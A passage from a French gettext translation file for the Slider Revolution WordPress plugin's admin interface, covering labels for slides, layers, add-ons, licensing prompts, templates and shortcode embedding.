            Souhaitez-vous quand même continuer avec ces " "tailles personnalisées ou souhaitez-vous conserver les tailles générées " "automatiquement?" #: admin/revslider-admin.class.php:1765 admin/revslider-admin.class.php:1862 msgid "Keep Auto Sizes" msgstr "Conserver les tailles automatiques" #: admin/revslider-admin.class.php:1766 admin/revslider-admin.class.php:1863 msgid "Use Custom Sizes" msgstr "Utiliser les tailles personnalisées" #: admin/revslider-admin.class.php:1767 admin/revslider-admin.class.php:1864 msgid "What should happen Next?" msgstr "Que se passera-t-il-il ensuite?" #: admin/revslider-admin.class.php:1768 admin/revslider-admin.class.php:1865 msgid "Need Attention by removing" msgstr "" #: admin/revslider-admin.class.php:1769 admin/revslider-admin.class.php:1866 msgid "Where do you want to move the Inherited Layers?" msgstr "Où souhaitez-vous déplacer les Layers héritées?" #: admin/revslider-admin.class.php:1770 admin/revslider-admin.class.php:1867 msgid "Drag & Drop Import File" msgstr "Glisser & Déposer le fichier d'importation" #: admin/revslider-admin.class.php:1771 admin/revslider-admin.class.php:1868 msgid "or" msgstr "ou" #: admin/revslider-admin.class.php:1772 admin/revslider-admin.class.php:1869 msgid "Click to Choose" msgstr "Cliquez pour choisir" #: admin/revslider-admin.class.php:1773 admin/revslider-admin.class.php:1870 msgid "Embed" msgstr "Intégrer" #: admin/revslider-admin.class.php:1774 admin/revslider-admin.class.php:1871 msgid "Export" msgstr "Exporter" #: admin/revslider-admin.class.php:1775 admin/revslider-admin.class.php:1873 #: admin/views/builder-nav-forms.php:230 admin/views/builder-nav-forms.php:370 #: admin/views/builder-nav-forms.php:557 admin/views/builder-nav-forms.php:741 msgid "Delete" msgstr "Supprimer" #: admin/revslider-admin.class.php:1776 admin/revslider-admin.class.php:1874 #: admin/views/builder.php:141 msgid "Duplicate" msgstr "Dupliquer" #: admin/revslider-admin.class.php:1777 admin/revslider-admin.class.php:1875 #: admin/views/modals-general.php:40 admin/views/builder.php:303 msgid "Preview" msgstr "Prévisualiser" #: admin/revslider-admin.class.php:1778 admin/revslider-admin.class.php:1876 #: admin/views/modals-builder.php:582 msgid "Tags" msgstr "Etiquettes" #: admin/revslider-admin.class.php:1779 admin/revslider-admin.class.php:1877 msgid "Folder" msgstr "Dossier" #: admin/revslider-admin.class.php:1780 admin/revslider-admin.class.php:1878 msgid "Rename" msgstr "Renommer" #: admin/revslider-admin.class.php:1781 admin/revslider-admin.class.php:1879 msgid "Root Level" msgstr "Niveau racine" #: admin/revslider-admin.class.php:1782 admin/revslider-admin.class.php:1880 #: admin/includes/shortcode_generator/shortcode_generator.class.php:122 msgid "Root" msgstr "Racine" #: admin/revslider-admin.class.php:1783 admin/revslider-admin.class.php:1881 #: admin/includes/shortcode_generator/shortcode_generator.class.php:148 msgid "Show" msgstr "Montrer" #: admin/revslider-admin.class.php:1784 admin/revslider-admin.class.php:1882 #: admin/includes/shortcode_generator/shortcode_generator.class.php:149 msgid "Per Page" msgstr "Par Page" #: admin/revslider-admin.class.php:1791 #: admin/includes/shortcode_generator/shortcode_generator.class.php:112 msgid "© Copyright & License Info" msgstr "© Informations sur le droit d'auteur et la licence" #: admin/revslider-admin.class.php:1792 admin/views/overview.php:125 msgid "Registered" msgstr "Inscrit" #: admin/revslider-admin.class.php:1793 msgid "Unregistered" msgstr "Désinscrit" #: admin/revslider-admin.class.php:1794 msgid "Dismiss Messages" msgstr "Supprimer les messages" #: admin/revslider-admin.class.php:1795 msgid "Some AddOns have new versions available" msgstr "Certaines extensions ont de nouvelles versions disponibles" #: admin/revslider-admin.class.php:1796 msgid "New Version Available. Please Update" msgstr "Nouvelle version disponible. Merci de mettre à jour" #: admin/revslider-admin.class.php:1797 msgid "AddOns Outdated. Please Update" msgstr "Extension obsolète. Merci de la mettre à jour" #: admin/revslider-admin.class.php:1798 msgid "Plugin is not Registered" msgstr "Le plugin n'est pas enregistré" #: admin/revslider-admin.class.php:1799 msgid "Register to unlock Premium Features" msgstr "Inscrivez-vous pour déverrouiller les fonctionnalités Premium" #: admin/revslider-admin.class.php:1800 msgid "Register to Unlock all Features" msgstr "Inscrivez-vous pour déverrouiller toutes les fonctionnalités" #: admin/revslider-admin.class.php:1801 msgid "Register to unlock AddOns" msgstr "Inscrivez-vous pour déverrouiller les Extensions" #: admin/revslider-admin.class.php:1802 msgid "Register to unlock Support" msgstr "Inscrivez-vous pour déverrouiller l'Assistance" #: admin/revslider-admin.class.php:1803 msgid "Register to unlock Library" msgstr "Inscrivez-vous pour déverrouiller la Bibliothèque" #: admin/revslider-admin.class.php:1804 msgid "Register to unlock Updates" msgstr "Inscrivez-vous pour déverrouiller les Mises à jour" #: admin/revslider-admin.class.php:1805 msgid "Register to unlock Templates" msgstr "Inscrivez-vous pour déverrouiller les Modèles" #: admin/revslider-admin.class.php:1806 msgid "Do you want to start the Update process?" msgstr "Souhaitez-vous démarrer le processus de mise à jour?" #: admin/revslider-admin.class.php:1807 admin/revslider-admin.class.php:1889 #: admin/views/overview.php:98 msgid "Update Now" msgstr "Mettre à jour maintenant" #: admin/revslider-admin.class.php:1808 msgid "Higher Level" msgstr "Niveau supérieur" #: admin/revslider-admin.class.php:1809 msgid "Current Level" msgstr "Niveau actuel" #: admin/revslider-admin.class.php:1810 msgid "Other Folders" msgstr "Autres dossiers" #: admin/revslider-admin.class.php:1811 msgid "Parent Level" msgstr "Niveau parent" #: admin/revslider-admin.class.php:1812 msgid "from" msgstr "de" #: admin/revslider-admin.class.php:1813 msgid "to" msgstr "à" #: admin/revslider-admin.class.php:1814 msgid "Action Needed" msgstr "Action nécessaire" #: admin/revslider-admin.class.php:1815 msgid "Done" msgstr "Terminé" #: admin/revslider-admin.class.php:1816 msgid "Update All" msgstr "Tout mettre à jour" #: admin/revslider-admin.class.php:1817 msgid "Update Later" msgstr "Mettre à jour plus tard" #: admin/revslider-admin.class.php:1818 msgid "The following AddOns require an update:" msgstr "Les extensions suivantes nécessitent une mise à jour :" #: admin/revslider-admin.class.php:1819 msgid "AddOns need attention" msgstr "Une extension nécessite votre attention" #: admin/revslider-admin.class.php:1820 msgid "Updating Plugin Failed" msgstr "La mise à jour du plugin a échoué" #: admin/revslider-admin.class.php:1821 msgid "Updating Plugin..." msgstr "Mise à jour du plugin en cours ..." #: admin/revslider-admin.class.php:1822 msgid "License validation issue Occured. Please contact our Support." msgstr "" "Un problème de validation de licence est survenu. Merci de contacter notre " "assistance." #: admin/revslider-admin.class.php:1823 msgid "Back to Overview" msgstr "Retour à la présentation" #: admin/revslider-admin.class.php:1824 msgid "Page is reloading..." msgstr "La page est en cours de rechargement..." #: admin/revslider-admin.class.php:1825 msgid "Update Plugin" msgstr "Mettre à jour le plug in" #: admin/revslider-admin.class.php:1826 msgid "Slider Revolution Plugin updated Successfully." msgstr "Le plugin Slider Revolution a été mis à jour avec succès." #: admin/revslider-admin.class.php:1827 msgid "Slider Revolution Plugin updated Failure:" msgstr "Le plugin Slider Revolution n'a pas pu être mis à jour :" #: admin/revslider-admin.class.php:1828 msgid "Slider Revolution Plugin updated Successfully to" msgstr "Le plugin Slider Revolution a été mis à jour avec succès vers" #: admin/revslider-admin.class.php:1829 msgid "Reload Page" msgstr "Recharger la page" #: admin/revslider-admin.class.php:1830 #: admin/includes/shortcode_generator/shortcode_generator.class.php:123 msgid "Loading" msgstr "Chargement" #: admin/revslider-admin.class.php:1831 #: admin/includes/shortcode_generator/shortcode_generator.class.php:124 msgid "Elements" msgstr "Eléments" #: admin/revslider-admin.class.php:1832 #: admin/includes/shortcode_generator/shortcode_generator.class.php:125 msgid "Loading Thumbnails..." msgstr "Vignettes en cours de chargement…" #: admin/revslider-admin.class.php:1833 msgid "jQuery Triggered" msgstr "jQuery déclenché" #: admin/revslider-admin.class.php:1834 msgid "<a> Tag Link" msgstr "<a> Lien étiquette" #: admin/revslider-admin.class.php:1835 #: admin/views/builder-slider-forms.php:919 msgid "First Slide" msgstr "Premier Slide" #: admin/revslider-admin.class.php:1836 admin/revslider-admin.class.php:1990 #: admin/views/modals-builder.php:448 admin/views/builder-layer-forms.php:360 msgid "Last Slide" msgstr "Dernier Slide" #: admin/revslider-admin.class.php:1837 admin/revslider-admin.class.php:1916 #: admin/views/modals-builder.php:406 msgid "Next Slide" msgstr "Prochain Slide" #: admin/revslider-admin.class.php:1838 admin/revslider-admin.class.php:1917 #: admin/views/modals-builder.php:400 msgid "Previous Slide" msgstr "Slide précédent" #: admin/revslider-admin.class.php:1839 msgid "" "Some Settings in Slider Source may not complete.
            Please " "Complete All Settings in Slider Sources." msgstr "" "Il est possible que certains paramètres du Slider source ne soient " "pas complets .
            Merci dez renseigner tous les paramètres des " "Sliders sources." #: admin/revslider-admin.class.php:1840 msgid "" "Some Layers are Locked and/or Invisible." "
            Change Status in Timeline." msgstr "" "Certaines Layers sont verrouillées et / ou " "invisibles .
            Merci de modifier le statut dans la chronologie." #: admin/revslider-admin.class.php:1841 msgid "Editor is Loading..." msgstr "L'éditeur est en cours de chargement…" #: admin/revslider-admin.class.php:1842 msgid "Adding new Blank Module..." msgstr "Ajout d'un nouveau module vierge..." #: admin/revslider-admin.class.php:1843 msgid "Opening" msgstr "Ouverture" #: admin/revslider-admin.class.php:1844 msgid "Featured Images" msgstr "Images populaires" #: admin/revslider-admin.class.php:1845 admin/revslider-admin.class.php:1948 #: admin/includes/shortcode_generator/shortcode_generator.class.php:113 msgid "Images" msgstr "Images" #: admin/revslider-admin.class.php:1846 admin/views/builder-slider-forms.php:99 #: admin/views/builder-slider-forms.php:1244 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "None" msgstr "Rien" #: admin/revslider-admin.class.php:1847 admin/views/builder-slide-forms.php:694 #: admin/views/builder-slide-forms.php:703 #: admin/views/builder-layer-forms.php:570 msgid "Select" msgstr "Sélectionner" #: admin/revslider-admin.class.php:1848 admin/views/builder-slide-forms.php:695 #: admin/views/builder-slide-forms.php:704 #: admin/views/builder-layer-forms.php:309 msgid "Reset" msgstr "Réinitialiser" #: admin/revslider-admin.class.php:1849 #: admin/views/builder-slider-forms.php:462 admin/views/modals-builder.php:234 #: admin/views/modals-builder.php:322 admin/views/builder-slide-forms.php:175 #: admin/views/builder-slide-forms.php:187 #: admin/views/builder-layer-forms.php:1089 msgid "Custom" msgstr "Personnaliser" #: admin/revslider-admin.class.php:1850 msgid "OUT" msgstr "OUT" #: admin/revslider-admin.class.php:1851 msgid "IN" msgstr "IN" #: admin/revslider-admin.class.php:1852 admin/views/builder-nav-forms.php:16 msgid "Navigation Options" msgstr "Options de navigation" #: admin/revslider-admin.class.php:1853 admin/views/builder-slider-forms.php:52 msgid "Module General Options" msgstr "Options générales du module" #: admin/revslider-admin.class.php:1854 admin/views/builder-slide-forms.php:17 msgid "Slide Options" msgstr "Options du Slide" #: admin/revslider-admin.class.php:1855 msgid "Layer Options" msgstr "Options de la Layer" #: admin/revslider-admin.class.php:1856 msgid "Set a Slide Background Image to use this feature" msgstr "Définir une image de fond du Slider pour utiliser cette fonctionnalité" #: admin/revslider-admin.class.php:1872 msgid "HTML" msgstr "HTML" #: admin/revslider-admin.class.php:1883 msgid "Release to Upload file" msgstr "Lâchez pour télécharger le fichier" #: admin/revslider-admin.class.php:1884 msgid "Module .zip" msgstr "Module .zip" #: admin/revslider-admin.class.php:1885 msgid "Processing Import of" msgstr "Traitement de l'importation de" #: admin/revslider-admin.class.php:1886 msgid "An Error Occured while importing" msgstr "Une erreur s'est produite lors de l'importation" #: admin/revslider-admin.class.php:1887 msgid "File Succesfully Imported" msgstr "Fichier importé avec succès" #: admin/revslider-admin.class.php:1888 msgid "Import Report" msgstr "Rapport d'importation" #: admin/revslider-admin.class.php:1890 msgid "Activate To Update" msgstr "Activez afin de mettre à jour" #: admin/revslider-admin.class.php:1891 msgid "Activated" msgstr "Activé" #: admin/revslider-admin.class.php:1892 msgid "Not Activated" msgstr "Non activé" #: admin/revslider-admin.class.php:1893 msgid "Register this Code" msgstr "Enregistrer ce code" #: admin/revslider-admin.class.php:1894 admin/views/overview.php:134 msgid "Deregister this Code" msgstr "Annuler l'enregistrement de ce code" #: admin/revslider-admin.class.php:1895 msgid "Standard Module Embedding" msgstr "Intégration de module standard" #: admin/revslider-admin.class.php:1896 msgid "For the pages and posts editor insert the Shortcode:" msgstr "" "Pour l'éditeur de pages et de posts , veuillez insérer le Shortcode :" #: admin/revslider-admin.class.php:1897 msgid "" "To Use it as Modal on pages and posts editor insert the " "Shortcode:" msgstr "" "Pour l'utiliser comme modal dans l'éditeur de pages et de posts " ", veuillez insérer le Shortcode :" #: admin/revslider-admin.class.php:1898 msgid "" "From the widgets panel drag the \"Revolution Module\" widget to the " "desired sidebar." msgstr "" "Depuis le panneau widgets , déplacez le widget \"Module Revolution\" " "dans la barre latérale souhaitée." #: admin/revslider-admin.class.php:1899 msgid "Advanced Module Embedding" msgstr "Intégration module d'avancée" #: admin/revslider-admin.class.php:1900 msgid "For the theme html use:" msgstr "Pour le thème html , utilisez :" #: admin/revslider-admin.class.php:1901 msgid "To add the slider only to the homepage, use:" msgstr "Pour ajouter le Slider à la page d'accueil uniquement, utilisez :" #: admin/revslider-admin.class.php:1902 msgid "To add the slider only to single Pages, use:" msgstr "" "Pour uniquement ajouter le Slider à des pages individuelles , utilisez :" #: admin/revslider-admin.class.php:1903 msgid "Select a Layer" msgstr "Sélectionnez une Layer" #: admin/revslider-admin.class.php:1904 msgid "Link Actions" msgstr "Actions de lien" #: admin/revslider-admin.class.php:1905 msgid "Slide Actions" msgstr "Actions Slide" #: admin/revslider-admin.class.php:1906 msgid "Layer Actions" msgstr "Actions Layer" #: admin/revslider-admin.class.php:1907 msgid "Media Actions" msgstr "Actions fichiers multimédia" #: admin/revslider-admin.class.php:1908 msgid "Fullscreen Actions" msgstr "Actions plein écran" #: admin/revslider-admin.class.php:1909 msgid "Advanced Actions" msgstr "Actions avancées" #: admin/revslider-admin.class.php:1910 msgid "Simple Link" msgstr "Lien simple" #: admin/revslider-admin.class.php:1911 msgid "Call Back" msgstr "Rappeler" #: admin/revslider-admin.class.php:1912 admin/revslider-admin.class.php:1923 msgid "Open Slider Modal" msgstr "Ouvrir le modal Slider" #: admin/revslider-admin.class.php:1913 msgid "Scroll below Slider" msgstr "Faites défiler le Slider" #: admin/revslider-admin.class.php:1914 msgid "Scroll To ID" msgstr "Faites défiler jusqu'à l'identifiant" #: admin/revslider-admin.class.php:1915 admin/views/modals-builder.php:782 msgid "Jump to Slide" msgstr "Aller au Slide" #: admin/revslider-admin.class.php:1918 msgid "Next Frame" msgstr "Cadre suivant" #: admin/revslider-admin.class.php:1919 msgid "Previous Frame" msgstr "Cadre précédent" #: admin/revslider-admin.class.php:1920 admin/views/modals-builder.php:388 #: admin/views/builder-slide-forms.php:564 msgid "Pause Slider" msgstr "Pause du Slider" #: admin/revslider-admin.class.php:1921 msgid "Play Slide" msgstr "Lecture du Slider" #: admin/revslider-admin.class.php:1922 msgid "Close Slider Modal" msgstr "Ferme le modal Slider" #: admin/revslider-admin.class.php:1924 msgid "Toggle Slider" msgstr "Basculer le Slider" #: admin/revslider-admin.class.php:1925 msgid "Go to 1st Frame " msgstr "Aller au premier cadre " #: admin/revslider-admin.class.php:1926 msgid "Go to Last Frame" msgstr "Aller au dernier cadre" #: admin/revslider-admin.class.php:1927 msgid "Go to Frame \"N\"" msgstr "Aller au cadre \"N\"" #: admin/revslider-admin.class.php:1928 msgid "Toggle 1st / Last Frame" msgstr "Basculer le premier / dernier cadre" #: admin/revslider-admin.class.php:1929 msgid "Toggle \"N/M\" Frames" msgstr "Basculer les cadres \"N / M\"" #: admin/revslider-admin.class.php:1930 msgid "Start Media" msgstr "Lancer le média" #: admin/revslider-admin.class.php:1931 msgid "Stop Media" msgstr "Arrêter le média" #: admin/revslider-admin.class.php:1932 msgid "Toggle Media" msgstr "Basculer le média" #: admin/revslider-admin.class.php:1933 msgid "Mute Media" msgstr "Mettre le media en silencieux" #: admin/revslider-admin.class.php:1934 msgid "Unmute Media" msgstr "Rétablir le son du média" #: admin/revslider-admin.class.php:1935 msgid "Toggle Mute Media" msgstr "Passer le media en silencieux" #: admin/revslider-admin.class.php:1936 msgid "Toggle Mute All Media" msgstr "Passer tous les media en silencieux" #: admin/revslider-admin.class.php:1937 msgid "Toggle Fullscreen" msgstr "Passer en plein écran" #: admin/revslider-admin.class.php:1938 msgid "Enter Fullscreen" msgstr "Passer en mode plein écran" #: admin/revslider-admin.class.php:1939 msgid "Exit Fullscreen" msgstr "Quitter le mode plein écran" #: admin/revslider-admin.class.php:1940 msgid "Simulate Click" msgstr "Simuler un clic" #: admin/revslider-admin.class.php:1941 msgid "Toggle Class" msgstr "Basculer la classe" #: admin/revslider-admin.class.php:1942 admin/views/builder-layer-forms.php:228 #: admin/views/builder-layer-forms.php:862 msgid "Disabled" msgstr "Désactivé" #: admin/revslider-admin.class.php:1943 msgid "Background Video" msgstr "Vidéo de fond" #: admin/revslider-admin.class.php:1944 admin/revslider-admin.class.php:1945 msgid "Video in Active Slide" msgstr "Vidéo dans le Slide actuel" #: admin/revslider-admin.class.php:1946 admin/views/builder-layer-forms.php:419 #: admin/includes/shortcode_generator/shortcode_generator.class.php:154 msgid "Behavior" msgstr "Comportement" #: admin/revslider-admin.class.php:1947 admin/views/modals-builder.php:722 msgid "Add Action to " msgstr "Ajouter une action à " #: admin/revslider-admin.class.php:1949 #: admin/includes/shortcode_generator/shortcode_generator.class.php:114 msgid "Layer Objects" msgstr "Objets des Layers" #: admin/revslider-admin.class.php:1950 #: admin/includes/shortcode_generator/shortcode_generator.class.php:115 msgid "Objects" msgstr "Objets" #: admin/revslider-admin.class.php:1951 #: admin/includes/shortcode_generator/shortcode_generator.class.php:116 msgid "Own Modules" msgstr "Propres Modules" #: admin/revslider-admin.class.php:1952 #: admin/includes/shortcode_generator/shortcode_generator.class.php:117 msgid "Font Icons" msgstr "Icônes de polices" #: admin/revslider-admin.class.php:1953 #: admin/includes/shortcode_generator/shortcode_generator.class.php:118 msgid "Module Templates" msgstr "Modèles de module" #: admin/revslider-admin.class.php:1954 #: admin/includes/shortcode_generator/shortcode_generator.class.php:119 msgid "Videos" msgstr "Vidéos" #: admin/revslider-admin.class.php:1955 #: admin/includes/shortcode_generator/shortcode_generator.class.php:120 msgid "SVG's" msgstr "SVG" #: admin/revslider-admin.class.php:1956 #: admin/includes/shortcode_generator/shortcode_generator.class.php:121 msgid "Favorites" msgstr "Favoris" #: admin/revslider-admin.class.php:1957 #: admin/includes/shortcode_generator/shortcode_generator.class.php:128 msgid "Installed" msgstr "Installé" #: admin/revslider-admin.class.php:1958 admin/revslider-admin.class.php:2018 #: admin/includes/shortcode_generator/shortcode_generator.class.php:129 msgid "Not Installed" msgstr "Non installé" #: admin/revslider-admin.class.php:1959 #: admin/includes/shortcode_generator/shortcode_generator.class.php:130 msgid "Setup Notes" msgstr "Notes d'installation" #: admin/revslider-admin.class.php:1960 #: admin/includes/shortcode_generator/shortcode_generator.class.php:131 msgid "Requirements" msgstr "Exigences" #: admin/revslider-admin.class.php:1961 admin/views/overview.php:93 #: admin/includes/shortcode_generator/shortcode_generator.class.php:132 msgid "Installed Version" msgstr "Version installée" #: admin/revslider-admin.class.php:1962 msgid "Use LineBreaks only in Columns" msgstr "Utiliser les sauts de ligne dans les colonnes uniquement" #: admin/revslider-admin.class.php:1963 admin/views/overview.php:95 #: admin/includes/shortcode_generator/shortcode_generator.class.php:133 msgid "Available Version" msgstr "Version disponible" #: admin/revslider-admin.class.php:1964 #: admin/includes/shortcode_generator/shortcode_generator.class.php:134 msgid "Install Template Package" msgstr "Installer le paquet modèles" #: admin/revslider-admin.class.php:1965 #: admin/includes/shortcode_generator/shortcode_generator.class.php:135 msgid "Install Template" msgstr "Installer modèle" #: admin/revslider-admin.class.php:1966 msgid "Installing Template" msgstr "Installation du modèle" #: admin/revslider-admin.class.php:1967 #: admin/includes/shortcode_generator/shortcode_generator.class.php:140 msgid "Search" msgstr "Rechercher" #: admin/revslider-admin.class.php:1968 #: admin/includes/shortcode_generator/shortcode_generator.class.php:141 msgid "FOLDER" msgstr "DOSSIER" #: admin/revslider-admin.class.php:1969 #: admin/includes/shortcode_generator/shortcode_generator.class.php:126 msgid "MODULE" msgstr "MODULE" #: admin/revslider-admin.class.php:1970 #: admin/includes/shortcode_generator/shortcode_generator.class.php:142 msgid "OBJECT" msgstr "OBJET" #: admin/revslider-admin.class.php:1971 #: admin/includes/shortcode_generator/shortcode_generator.class.php:127 msgid "PACKAGE" msgstr "PAQUET" #: admin/revslider-admin.class.php:1972 #: admin/includes/shortcode_generator/shortcode_generator.class.php:143 msgid "IMAGE" msgstr "IMAGE" #: admin/revslider-admin.class.php:1973 #: admin/includes/shortcode_generator/shortcode_generator.class.php:144 msgid "VIDEO" msgstr "VIDEO" #: admin/revslider-admin.class.php:1974 #: admin/includes/shortcode_generator/shortcode_generator.class.php:145 msgid "ICON" msgstr "ICÔNE" #: admin/revslider-admin.class.php:1975 admin/views/builder-layer-forms.php:541 #: admin/includes/shortcode_generator/shortcode_generator.class.php:146 msgid "SVG" msgstr "SVG" #: admin/revslider-admin.class.php:1976 #: admin/includes/shortcode_generator/shortcode_generator.class.php:147 msgid "FONT" msgstr "POLICE" #: admin/revslider-admin.class.php:1977 #: admin/includes/shortcode_generator/shortcode_generator.class.php:137 msgid "Re-Download Online" msgstr "Re-télécharger sur internet" #: admin/revslider-admin.class.php:1978 #: admin/includes/shortcode_generator/shortcode_generator.class.php:138 msgid "Create Blank Page" msgstr "Créer une page vierge" #: admin/revslider-admin.class.php:1979 #: admin/includes/shortcode_generator/shortcode_generator.class.php:139 msgid "Please Wait a moment" msgstr "Merci de patienter" #: admin/revslider-admin.class.php:1980 msgid "Changing Screen Size" msgstr "Changement de la taille de l'écran" #: admin/revslider-admin.class.php:1981 msgid "Headlines" msgstr "Titres" #: admin/revslider-admin.class.php:1982 admin/views/builder-slider-forms.php:57 #: admin/views/builder-slider-forms.php:450 #: admin/views/builder-slider-forms.php:456 #: admin/views/builder-nav-forms.php:86 admin/views/builder-nav-forms.php:141 #: admin/views/builder-nav-forms.php:283 admin/views/builder-nav-forms.php:430 #: admin/views/builder-nav-forms.php:613 admin/views/builder-layer-forms.php:28 #: admin/views/builder-layer-forms.php:52 #: admin/includes/shortcode_generator/shortcode_generator.class.php:218 msgid "Content" msgstr "Contenu" #: admin/revslider-admin.class.php:1983 msgid "Buttons" msgstr "Boutons" #: admin/revslider-admin.class.php:1984 msgid "BG & Space" msgstr "AP & Espace" #: admin/revslider-admin.class.php:1985 admin/revslider-admin.class.php:1986 #: admin/views/builder-slider-forms.php:1110 msgid "Shadow" msgstr "Ombre" #: admin/revslider-admin.class.php:1987 msgid "Saving Slide" msgstr "Sauvegarde du Slide" #: admin/revslider-admin.class.php:1988 msgid "Loading Configuration" msgstr "Chargement de la configuration" #: admin/revslider-admin.class.php:1989 msgid "Updating Lists" msgstr "Mise à jour des listes" #: admin/revslider-admin.class.php:1992 msgid "Slider Settings" msgstr "Paramètres Slider" #: admin/revslider-admin.class.php:1993 msgid "Animate From" msgstr "Animer de" #: admin/revslider-admin.class.php:1994 msgid "Keyframe #" msgstr "Keyframe #" #: admin/revslider-admin.class.php:1995 msgid "Transform Idle" msgstr "" #: admin/revslider-admin.class.php:1996 #: admin/includes/plugin-update.class.php:3423 msgid "Anim From" msgstr "Anim de" #: admin/revslider-admin.class.php:1997 admin/revslider-admin.class.php:1998 #: admin/includes/plugin-update.class.php:3527 #: admin/includes/plugin-update.class.php:3612 msgid "Anim To" msgstr "Anim à" #: admin/revslider-admin.class.php:1999 msgid "Keyframe" msgstr "Keyframe" #: admin/revslider-admin.class.php:2000 msgid "Not Enough space between Frames." msgstr "Pas assez d'espace entre les cadres." #: admin/revslider-admin.class.php:2001 msgid "Frame Size can not be Extended. Not enough Space." msgstr "La taille du cadre ne peut pas être augmentée. Pas assez d'espace." #: admin/revslider-admin.class.php:2002 msgid "Loop Template" msgstr "Modèle de boucle" #: admin/revslider-admin.class.php:2003 msgid "Animation Template" msgstr "Modèle d'animation" #: admin/revslider-admin.class.php:2004 msgid "Choose Image" msgstr "Choisissez l'image" #: admin/revslider-admin.class.php:2005 msgid "Choose Video" msgstr "Choisissez la vidéo" #: admin/revslider-admin.class.php:2006 msgid "Slider Revolution Shortcode Creator" msgstr "Créateur Slider Revolution de Shortcode" #: admin/revslider-admin.class.php:2007 msgid "Shortcode Generator" msgstr "Générateur de Shortcode" #: admin/revslider-admin.class.php:2008 msgid "Please add at least one Layer." msgstr "Veuillez ajouter au moins une Layer." #: admin/revslider-admin.class.php:2009 msgid "Shortcode parsing successfull. Items can be found in step 3" msgstr "Analyse de Shortcode réussie. Vous trouverez les éléments à l'étape 3" #: admin/revslider-admin.class.php:2010 msgid "Shortcode could not be parsed." msgstr "Le Shortcode n'a pas pu être analysé." #: admin/revslider-admin.class.php:2011 msgid "Addon Required" msgstr "Extension requise" #: admin/revslider-admin.class.php:2012 #: admin/includes/shortcode_generator/shortcode_generator.class.php:136 msgid "Activate License" msgstr "Activer la licence" #: admin/revslider-admin.class.php:2013 msgid "Search Icons..." msgstr "Recherche d'icônes..." #: admin/revslider-admin.class.php:2014 msgid "Save Current Template" msgstr "Sauvegarder le modèle actuel" #: admin/revslider-admin.class.php:2015 msgid "Overwrite Template ?" msgstr "Écraser le modèle?" #: admin/revslider-admin.class.php:2016 msgid "Delete Template ?" msgstr "Supprimer le modèle?" #: admin/revslider-admin.class.php:2017 msgid "Credits" msgstr "Crédits" #: admin/revslider-admin.class.php:2019 admin/views/builder-nav-forms.php:810 #: admin/views/builder-nav-forms.php:828 #: admin/views/builder-layer-forms.php:928 msgid "Enabled" msgstr "Activé" #: admin/revslider-admin.class.php:2020 msgid "Global" msgstr "Global" #: admin/revslider-admin.class.php:2021 msgid "Install Add-On" msgstr "Installer l'extension" #: admin/revslider-admin.class.php:2022 msgid "Install" msgstr "Installer" #: admin/revslider-admin.class.php:2023 msgid "Enable Add-On" msgstr "Autoriser l'extension" #: admin/revslider-admin.class.php:2024 msgid "Disable Add-On" msgstr "Désactiver l'extension" #: admin/revslider-admin.class.php:2025 msgid "Enable Global Add-On" msgstr "Autoriser l'extension Globale" #: admin/revslider-admin.class.php:2026 msgid "Disable Global Add-On" msgstr "Désactiver l'extension Globale" #: admin/revslider-admin.class.php:2027 msgid "Slider Revolution Version" msgstr "Version de Slider Revolution" #: admin/revslider-admin.class.php:2028 msgid "Check Requirements" msgstr "Vérifier les exigences" #: admin/revslider-admin.class.php:2029 msgid "Activate Global Add-On" msgstr "Activer l'extension Globale" #: admin/revslider-admin.class.php:2030 msgid "Activate Add-On" msgstr "Activer l'extension" #: admin/revslider-admin.class.php:2031 msgid "Activating Add-On" msgstr "Activation de l'extension" #: admin/revslider-admin.class.php:2032 msgid "Enabling Add-On" msgstr "Autorisation de l'extension" #: admin/revslider-admin.class.php:2033 msgid "Add-On" msgstr "Extension" #: admin/revslider-admin.class.php:2034 msgid "Installing Add-On" msgstr "Installation de l'extension" #: admin/revslider-admin.class.php:2035 msgid "Disabling Add-On" msgstr "Désactivation de l'extension" #: admin/revslider-admin.class.php:2036 msgid "Building Select Boxes" msgstr "Construction des boîtes de sélection" #: admin/revslider-admin.class.php:2037 msgid "Warning" msgstr "Attention" #: admin/revslider-admin.class.php:2038 msgid "Blank Page Created" msgstr "Page vierge créée" #: admin/revslider-admin.class.php:2039 msgid "Blank page has been created:" msgstr "Une page vierge a été créée :" #: admin/revslider-admin.class.php:2040 msgid "Visit Page" msgstr "Visiter la page" #: admin/revslider-admin.class.php:2041 msgid "Edit Page" msgstr "Modifier la page" #: admin/revslider-admin.class.php:2042 msgid "Close" msgstr "Fermer" #: admin/revslider-admin.class.php:2043 msgid "The changes you made require a page reload!" msgstr "" "Les modifications que vous avez apportées nécessitent un rechargement de la " "page!" #: admin/revslider-admin.class.php:2044 msgid "Save your project & reload the page or cancel" msgstr "Sauvegarder votre projet et rechargez la page ou annulez" #: admin/revslider-admin.class.php:2045 msgid "Save & Reload" msgstr "Sauvegarder et recharger" #: admin/revslider-admin.class.php:2046 msgid "Cancel & Reload Later" msgstr "Annuler et recharger plus tard" #: admin/revslider-admin.class.php:2047 admin/views/modals-general.php:61 msgid "Save Configuration" msgstr "Enregistrer la configuration" #: admin/revslider-admin.class.php:2048 msgid "Updating" msgstr "Mise à jour en cours" #: admin/revslider-admin.class.php:2049 msgid "Enable/Disable Add-On on Module" msgstr "Activer / désactiver l'extension du module" #: admin/revslider-admin.class.php:2050 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:157 msgid "Sort by Creation" msgstr "Trier par création" #: admin/revslider-admin.class.php:2051 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:158 msgid "Creation Ascending" msgstr "Création ascendante" #: admin/revslider-admin.class.php:2052 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:159 msgid "Sort by Title" msgstr "Trier par titre" #: admin/revslider-admin.class.php:2053 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:160 msgid "Title Descending" msgstr "Titre décroissant" #: admin/revslider-admin.class.php:2054 #: admin/includes/shortcode_generator/shortcode_generator.class.php:150 msgid "Update List" msgstr "Mettre à jour la liste" #: admin/revslider-admin.class.php:2055 msgid "Audio Wave Library is Loading..." msgstr "La bibliothèque Audio Wave est en cours de chargement..." #: admin/revslider-admin.class.php:2056 msgid "Loading RevMirror Library..." msgstr "Chargement de la bibliothèque RevMirror..." #: admin/revslider-admin.class.php:2057 